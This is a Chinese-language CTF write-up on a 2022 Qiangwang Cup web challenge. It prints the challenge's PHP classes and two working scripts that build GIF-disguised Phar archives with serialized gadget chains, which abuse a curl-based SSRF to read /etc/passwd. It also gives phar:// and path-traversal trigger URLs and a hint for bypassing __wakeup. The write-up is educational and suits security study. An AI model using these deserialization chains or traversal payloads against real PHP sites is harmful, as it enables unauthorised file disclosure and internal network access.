CTF Web Phar反序列化+SSRF学习
前言:通过2022强网杯学习一下Phar反序列化利用,废话不多说,这里直接分析
拿主要的代码进行分析
<?php
class Upload {
public $file;
public $filesize;
public $date;
public $tmp;
function __construct(){
$this->file = $_FILES["file"];
}
function do_upload() {
$filename = session_id().explode(".",$this->file["name"])[0].".jpg";
if(file_exists($filename)) {
unlink($filename);
}
move_uploaded_file($this->file["tmp_name"],md5("2022qwb".$_SERVER['REMOTE_ADDR'])."/".$filename);
echo 'upload '."./".md5("2022qwb".$_SERVER['REMOTE_ADDR'])."/".$this->e($filename).' success!';
}
function e($str){
return htmlspecialchars($str);
}
function upload() {
if($this->check()) {
$this->do_upload();
}
}
function __toString(){
return $this->file["name"];
}
function __get($value){
$this->filesize->$value = $this->date;
echo $this->tmp;
}
function check() {
$allowed_types = array("jpg","png","jpeg");
$temp = explode(".",$this->file["name"]);
$extension = end($temp);
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo 'Invalid file!';
return false;
}
}
}
class GuestShow{
public $file;
public $contents;
public function __construct($file)
{
$this->file=$file;
}
function __toString(){
$str = $this->file->name;
return "";
}
function __get($value){
return $this->$value;
}
function show()
{
$this->contents = file_get_contents($this->file);
$src = "data:jpg;base64,".base64_encode($this->contents);
echo "<img src={$src} />";
}
function __destruct(){
echo $this;
}
}
class AdminShow{
public $source;
public $str;
public $filter;
public function __construct($file)
{
$this->source = $file;
$this->schema = 'file:///var/www/html/';
}
public function __toString()
{
$content = $this->str[0]->source;
$content = $this->str[1]->schema;
return $content;
}
public function __get($value){
$this->show();
return $this->$value;
}
public function __set($key,$value){
$this->$key = $value;
}
public function show(){
if(preg_match('/usr|auto|log/i' , $this->source))
{
die("error");
}
$url = $this->schema . $this->source;
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_HEADER, 1);
$response = curl_exec($curl);
curl_close($curl);
$src = "data:jpg;base64,".base64_encode($response);
echo "<img src={$src} />";
}
public function __wakeup()
{
if ($this->schema !== 'file:///var/www/html/') {
$this->schema = 'file:///var/www/html/';
}
if ($this->source !== 'admin.png') {
$this->source = 'admin.png';
}
}
}
通过代码审计,可以发现这题有很多链子来触发反序列化来完成我们想要的效果,这里来列举两个比较简便的
第一条链子:
直接用AdminShow类中的__construct方法直接设置
<?php
class AdminShow
{
public $source;
public $str;
public $filter;
public function __construct($file)
{
$this->source = $file;
}
}
$a = new AdminShow("file:///etc/passwd");
echo serialize($a);
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("demo.txt", "test");
$phar->stopBuffering();
第二条链子:
class AdminShow{
}
class GuestShow{
}
$a = new AdminShow('a');
$b = new GuestShow('a');
$c = new AdminShow('file:///etc/passwd');
$b->file = $c;//触发toString
$a->schema = $b;//把GuestShow的str内容触发到AdminShow的schema的content,触发toString
echo serialize($a);
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("demo.txt", "test");
$phar->stopBuffering();
?>
具体利用链子说明在注释里,然后修改生成的phar文件后缀名为gif,进行上传,用index文件去触发phar,showfile去触发ssrf进行内网获取
xxxx.com/index.php?fname=phar://文件名
xxx.com/showfile.php?=demo../../../../etc/hosts
然后判断flag在内网的具体位置,就可以再次利用phar进行反序列化读取即可,至于ssrf,这里先不说的,网上有关于ssrf的内容,至于不难,不过多讲解
__wakeup,可以更改类的长度来绕过,或者找个变量覆盖的地方来绕过,绕过都是老姿势了,不过多讲解,具体可以刷ctfshow里面有很详细的绕过方法